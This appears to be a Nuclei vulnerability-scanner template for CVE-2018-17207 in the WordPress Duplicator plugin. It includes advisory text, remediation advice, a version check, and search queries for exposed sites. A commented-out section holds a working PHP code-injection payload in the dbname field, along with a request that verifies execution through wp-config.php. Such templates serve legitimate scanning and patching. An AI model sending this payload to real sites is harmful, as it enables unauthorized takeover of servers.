An issue was discovered in Snap Creek Duplicator before 1.2.42. By accessing leftover installer files (installer.php and installer-backup.php), an attacker can inject PHP code into wp-config.php during the database setup step, achieving arbitrary code execution.
PoC
id: CVE-2018-17207
info:
name: WordPress Duplicator Plugin < 1.2.42 - Arbitrary Code Execution
author: synacktiv,iamnoooob,pdresearch
severity: critical
description: |
An issue was discovered in Snap Creek Duplicator before 1.2.42. By accessing leftover installer files (installer.php and installer-backup.php), an attacker can inject PHP code into wp-config.php during the database setup step, achieving arbitrary code execution.
impact: |
Unauthenticated attackers can inject and execute arbitrary PHP code by exploiting leftover installer files, leading to complete WordPress site compromise and potential server takeover.
remediation: |
Remove installer.php and installer-backup.php files after installation, and upgrade to Duplicator version 1.2.42 or later.
reference:
- https://www.synacktiv.com/posts/exploit/wordpress-duplicator-plugin-arbitrary-code-execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2018-17207
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-17207
cwe-id: CWE-94
epss-score: 0.60086
epss-percentile: 0.99087
cpe: cpe:2.3:a:snapcreek:duplicator:*:*:*:*:lite:wordpress:*:*
metadata:
vendor: snapcreek
product: duplicator
framework: wordpress
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/duplicator"
google-query: inurl:"/wp-content/plugins/duplicator"
tags: cve,cve2018,wordpress,duplicator,rce,vkev,passive,vuln
# Uncomment to attempt RCE, but note that it modifies database details, potentially causing the website to not function properly.
# variables:
# marker: "{{randstr}}"
http:
- raw:
- |
POST /installer-backup.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action_step=1
extractors:
- type: regex
name: version
part: body
group: 1
regex:
- "Plugin Version:.*?([0-9].*?)<"
internal: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<title>Duplicator</title>'
- 'dupx-header-version'
- 'Deployment Path:'
condition: and
- type: status
status:
- 200
- type: dsl
dsl:
- compare_versions(version, '< 1.2.42')
# - raw:
# - |-
# POST /installer-backup.php HTTP/1.1
# Host: {{Hostname}}
# Content-Type: application/x-www-form-urlencoded
# Connection: close
# action_ajax=3&action_step=3&dbhost=nowhere&dbuser=test&dbpass=test&dbname=wordpress');echo base64_decode($_GET["input"]);//&dbport=12345&
# matchers-condition: and
# matchers:
# - type: word
# part: body
# words:
# - updt_rows
# - scan_rows
# - scan_tables
# condition: and
# - type: status
# status:
# - 200
# internal: true
# - raw:
# - |+
# GET /wp-config.php?input={{base64(marker)}} HTTP/1.1
# Host: {{Hostname}}
# Connection: close
# matchers-condition: and
# matchers:
# - type: word
# part: body
# words:
# - '{{marker}}'
# - type: status
# status:
# - 200
# digest: 4b0a00483046022100f24c856f787eb9898ee43809a6fffa3fdd8bff4ce152dcca6f8a9872f3134bb3022100a3b9878b7f692b3c984f26d898c9f5f80b84012641d133ee56226087b97c11ff:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.